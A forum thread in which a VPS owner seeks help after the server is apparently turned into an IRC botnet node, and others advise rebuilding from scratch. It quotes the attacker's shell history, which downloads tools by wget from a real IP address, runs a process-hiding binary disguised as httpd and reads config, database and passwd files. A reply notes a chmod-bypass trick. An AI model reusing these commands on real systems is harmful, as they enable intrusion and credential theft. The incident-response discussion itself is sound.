I want to ask something about server that has been compromised. Recently, one of my VPS server has been hacked and the attacker install somekind like "IRC" script.
Everytime I killed the process or close the port, it can open again .. and again ..I'm sure the attacker has installed something like a hidden script. I hv using tool like Rootkit Hunter and find each of the suspicious result.
It really makes me crazy and pain. How can he/she go into my server (as a root) even I have changed the root password.
Hi,
There are some ways to enter a compromised system even if you have changed the root password. Probably the hacker has modified the system, so he can enter without being asked a password.
Your best bet to solve the problem is backup everything valuable and get a new server installed. The only way I know of investigating a compromised server that can lead anywhere is taking it offline to avoid more interference from the hacker.
Think that probably the hacker is inside your system and you could not detect it.
All the tools like rkhunter tell you to not relay only on them. And they are good for detection, but they don't serve for more than that.
Hope you get it solved
jmanel
Is there any possibility I can secure my VPS server without re-install ? Since it has many webhost domain in it and each has huge database for more than 5 years.
You are right, using RKHunter has no effect at all, except just giving any vulnerabilities information.
Today, I was trying again to clean my server from any malicious IRC script, such as:
Closing port (113,6667,7000)
Trace process and kill it
Remove the IRC script files
Lock any user account that has been compromised, also change my root password
Give no shell access to all accounts, only root & mysql have /bin/bash
Scan multiple times with RKHunter and ClamAV to make sure there's no left over malicious files & security hole
Restrict SSH access to only from spesific IP Address and also disable Authentication Key
Chmod all domain host directory to 700, set subdirectory to be 755, and only images folder has 777 file permissions. Other files only has 644 file permission.
Update Centos 5 with yum, almost every day.
I did that procedures above all day long, but after several hours later, in my /root there appears again malicious IRC files with uid and gid 1000. It really makes me pain .. how can the attacker enter my server. I guess he did "rooting" my server.
Did the attacker exploit the /tmp or /dev. I dont know.
Please anyone, whoever expert in Linux security help me on this case.
@Corona.
If it means about full backup of each domain in /home, no I didnt make any backup. Disk space is limited and no additional disk. Last option maybey I should request OS restore to the hosting provider(?).
I was doing deep analyze of this attack for several days, and I guess my server has been turned to be one of botnet in the internet for several months or maybey in a year.
One thing that makes me confuse. I have locked the domain account that might be has been compromised, after doing the procedures above, how can the attacker create multiple processes and open port 6667,7000 with that locked account name and established connection to xxx.IRC.dal.net?
@Neo.
Thanks for your suggestion. I'll learn about that tripwire technique.
But, do you have any idea about how the attacker compromised my server?
# Additional information.
Here I give part of command history left by the attacker in last days.
pwd
history
cd /data/PEAR
ls -al
rm -rf bahamut-1.8.9
wget http://193.180.115.30/~online/tools/bahamut-1.8.9-release.tar.gz ;
tar -zxvf bahamut-1.8.9-release.tar.gz ;
rm -f bahamut-1.8.9-release.$
ls -al //ircd/template.conf
mkdir ircd
pwd
cd ..
mkdir ircd
cd ircd
cp /ircd/* .
ls -al
ls -al /ircd
rm -rf /ircd
ls -al
exit
cd /data/PEAR/ircd
save
hostname ; /sbin/ifconfig | grep inet
pwd
pico ircd.conf
ls -al
wget http://193.180.115.30/~online/tools/xh ; chmod +x xh ; ls -alF xh
ps aux
./xh -s "/usr/local/apache/bin/httpd -k start -DSSL" ./ircd
cd ..
pwd
id
exit
And here the another part of command.
cd $home
ls -al
cd public_html
ls -al
cat config.php
cat dbcon.php
cat /etc/passwd
wget http://193.180.115.30/~online/ftp ; ls -alF ftp*
perl ftp
rm -f ftp ftp.txt
exit
I think it is more important to determine what are your key apps on the server; then back them up if you think they are not compromised and rebuild the VPS server from scratch; and reinstall your app.
You should also make sure your file system is secure based on the apps that are running, and run a cryptographic file system management tool (tripwire or some other version of the same thing) immediately to get a baseline.
What you have failed to mention is the core production app that is running on the server. Is it a web server? A mail server? A database back end?
It is really not possible to help you if you are not specific about what is "core app" and what is "supporting files". The reason is that you need to rebuild your file system from scratch to be perfectly safe. However, there may be some files you need (database, web files) that are not compromised and you can just back them up, reinstall the system (the supporting file system) and then get the main act up and running.
But the exact strategy is based on what is the main core application running on the server.
Yes it's a web server, here's the details server spec:
OS: Centos 5
Web server technology: Apache PHP 5.3.19 & MySQL 5
Mail: Exim with SMTP & PHP Mailer enabled
About 10 domains hosted in it.
Sorry, I'm not too expert on Linux system, thats why I need to ask the best way on how to deal with server that has been turned on to be botnet, rather than just build or re-install the whole system from zero.
Do anyone of you never deal with case like this before??
OK, it is more than likely the hacker got into your site based on a weakness in your web server file system. Of course, we can't be sure from what we know, but that is normally the case.
So, now we need to know about the web app. Is it written in PHP? PERL? Something else? Is there a database?
In other words, you more than likely need to rebuild your OS from scratch and install your web app again; but from what you are telling me, you are not even sure if your web file system in clean or not.
And, if you don't know much about this technology, it is going to be very difficult for you to secure the filesystem so it does not happen again.
So, there you have it. I've given you the basic answer. But if you insist you don't "really know what you are doing", then the best advice I can give you is to go out and find someone who does and pay them to do it if it is a business app.
Is it a critical business app? Or just a personal "for fun" web app?
It's only serve for PHP, no Perl. But there are Perl & Python installed also. Database only in MySQL.
I only know the little thing about Linux, but I do know what I'm doing. Don't you read what I have did on my procedural above? Do you think what I have done with my server has no effect at all?
So, what should I do, what should I type in terminal prompt to clean and get rid of this rat??
It's not a critical bussiness app, it's my company server to host portfolio webs for advertisement.
Why not start by enumerating what actually runs on top of the web server? Get the exact names and versions of whatever web log, forum, shopping cart, photo gallery, statistics, web-based management panel, homebrewn scripts and plugins the system runs. Then verify those against what the vendor accepts as "current". Together with user login information and a report of anomalies or "odd" requests from daemon log files you have a pretty good idea if that is the avenue to explore further or not.
It's not that simple as "what should I type in the terminal to get rid of the rat", as many have tried to explain to you; it is a detailed process of understanding your application, your filesystem and what has been compromised, etc.
There is no "short cut' or "easy way" as every person who have replied has generously mentioned to you.
Well, in that case, just rebuild from scratch and make sure your run something like tripwire on your baseline install so you can see what exactly was changed if it happens again.
There are no short cuts to insuring filesystem integrity; the work has to be done as we have been telling you.
You are seemingly looking for an "easy way out" of a situation that has no "easy way out" since you don't have backups and you don't manage your file system integrity; you must rebuild from scratch to be secure and safe.
And then, do it right the next time with backups and file system integrity checking, and make sure your permissions and filesystem is secure against web-based attacks.
@ Unspawn
I dont use any additional 3rd party applications at all other than just Java application for chat.
@ Neo
Yes, I come here to look for easy way for quick response.
I have got your answer, you suggest me to use that tripwire to secure my /tmp. But, that's just a long term action, I need "short quick response actions" for this. Anything like blocking port 6667 & 7000 effectively, prevent IRC script from running, etc.
Talking about the web vulnerabilities:
# If it's about SQL injection attack, when someone got the credential login like Cpanel/FTP or Admin login, what can he do other than just playing around with C99/R57 shell??
# If he playing with C99/R57 shell, how can he runs exploit coded in C, where GCC is disabled for user?
# If he runs exploit not coded in C, but coded in Perl, then successfully rooting my server, then I think this is a big security hole in Centos 5!
# If he got MySQL login from particular user, how can he write files in /root, where particular user (MySQL) only has USAGE privileges? If it has nothing to do with MySQL privileges, then how he wrote files in /root other than exploited the server?
# Result from RKHunter & ClamAV shows that /dev and /tmp are the only directories which are suspicious. I have tried to look for any information on the net but no luck.
I think I have explain all things what I know about the main web server vulnerabilities. So what else to check other than that?
If there's no satisfy answers from ppl in this forum, I think this will be my last post. I'm tired. I think I'm just asking for simple question, but none answered my question at all. Wonder if in this big UNIX forum, no one ever dealt with IRC botnet. Huft..
Do you understand that your server has been deeply compromised?
Do you understand that, if you've been rooted, you cannot trust the operating system anymore?
Do you understand that this may be why the quick fixes you've tried have had no effect? And even the sophisticated ones.
If you cannot trust this system to do what you tell it to, you cannot trust any of the quick fixes.
They don't need gcc to upload C commands, just somewhere to write files and chmod.
He doesn't need your compiler, he can use his own, and just upload the binary. All he needs is a way to set it executable.
If you deny him chmod, he can still just cp /bin/sh /path/to/my/executable ; cat my_binary_code > /path/to/my/executable.
Perl, a C/C++ program, is neither more secure, nor less secure, than C/C++ itself. In any case it's not the language that grants things permissions to do things, it's the operating system itself.
Locking them to a specific language is not security. Denying them the permissions they need to do anything untoward in any language is security.
There is no rubber chicken we can wave that will make your infestation go away. If you haven't been rooted, you might be able to hunt down the files with find /tmp/ and picking through them by hand. It is vital for finding and dealing with filenames that cannot be typed in the terminal, since you can refer to files by inode.
Check /proc/pid/ for the rogue processes in question. If they don't show at all, you've been rooted. If they do, /proc/pid/fd might reveal what files they're running from.
There might be a firewall rule to drop those outgoing ports, but how to do so depends on what your firewall is already and what your network setup is.
And if you have been rooted, then your OS itself, the thing which you're using to try and track down and fight this problem, is the thing that's been infected. Catch-22.
Many of us have. This is how we know it's not as easy as you'd like. You know the saying, an ounce of prevention is worth a pound of cure?
You say you have no backups, too. This may be a good time to back up your customer data, but check it carefully when you restore.
Great! Then that means I can close this thread since you are not getting the wrong answer you seek in "this big UNIX forum".
For your information, I have had to deal with compromised servers at least (off the top of my head) 20 times in my career; and have many years experience in security.
You, on the other hand, don't even keep a simple backup of your web server; and then you come here demanding easy answers from experts who have much more experience than you, and then you begin to either insult or bully them when they tell you the right answer.
So, since you are not willing to listen and learn, and instead going to being hurling insults to the forum out of frustration, I'm closing this thread because we have already told you want you need to do.
Since you have chosen not to do as we have advised, and are now starting to hurl insults at the forums. This thread is now closed.
